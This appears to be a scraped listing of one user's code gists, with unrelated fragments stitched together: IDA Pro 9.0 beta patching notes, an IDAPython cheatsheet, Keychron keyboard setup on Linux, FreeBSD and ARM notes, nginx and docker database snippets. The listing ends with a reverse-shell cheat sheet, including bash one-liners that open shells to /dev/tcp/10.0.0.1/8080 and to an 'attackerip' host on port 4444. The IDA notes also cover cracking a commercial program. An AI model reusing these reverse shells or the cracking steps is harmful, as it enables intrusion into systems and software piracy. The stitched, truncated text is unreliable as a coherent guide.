Sagittarius-a sagittarius-a

Patching the IDA Pro 9.0 BETA

Note

Obligatory disclaimer: this is for educational purposes only. I am not responsible for any damages caused by following this guide, or using any of the script(s) herein.

This guide prioritizes arm64 macOS, but may also work for other platforms.

Step 1 - Patching dylibs

IDAPython cheatsheet

Important links

Basic commands

Get informations on the binary

Here is the best setup (I think so :D) for K-series Keychron keyboards on Linux.

Most of these commands have been tested on Ubuntu 20.04 and should also work on most Debian-based distributions. If a command happens not to work for you, take a look in the comment section.

Make Fn + F-keys work

Keychron Keyboards on Linux use the hid_apple driver (even in Windows/Android mode), both in Bluetooth and Wired modes. By default, this driver uses the F-keys as multimedia shortcuts and you have to press Fn + the key to get the usual F1 through F12 keys.

Default STABLE installation

See the handbook if need be.

Post installation

As root:

pkg update
pkg install sudo vim git

You might want to read this to get an introduction to armel vs armhf.

If the below is too much, you can try Ubuntu-ARMv7-Qemu but note it contains non-free blobs.

Running ARM programs under linux (without starting QEMU VM!)

First, cross-compile user programs with GCC-ARM toolchain. Then install qemu-arm-static so that you can run ARM executables directly on linux

	for f in /usr/share/figlet/*
	do
	fs=$(basename $f)
	fname=${fs%%.tlf}
	toilet -f $fname $fname
	done

	import re, subprocess, idaapi, ida_segment, ida_kernwin

	# To install this, simply put it in your ida_install/loaders folder and open
	# a `/proc/<pid>/mem` file!
	#
	# You might need to set `echo 0 > /proc/sys/kernel/yama/ptrace_scope` if you
	# want to be able to dump processes depending on your system configuration.

	# Check if the file is supported by our loader
	def accept_file(li, filename):

	# UPDATED 17 February 2019
	# Redirect all HTTP traffic to HTTPS
	server {
	listen 80;
	listen [::]:80;
	server_name www.domain.com domain.com;
	return 301 https://$host$request_uri;
	}

	# SSL configuration

	# Backup
	docker exec CONTAINER /usr/bin/mysqldump -u root --password=root DATABASE > backup.sql

	# Restore
	cat backup.sql \| docker exec -i CONTAINER /usr/bin/mysql -u root --password=root DATABASE

	#bash
	bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

	#bash alt
	exec /bin/bash 0&0 2>&0

	#bash alt 2
	0<&196;exec 196<>/dev/tcp/attackerip/4444; sh <&196 >&196 2>&196

	#bash alt 3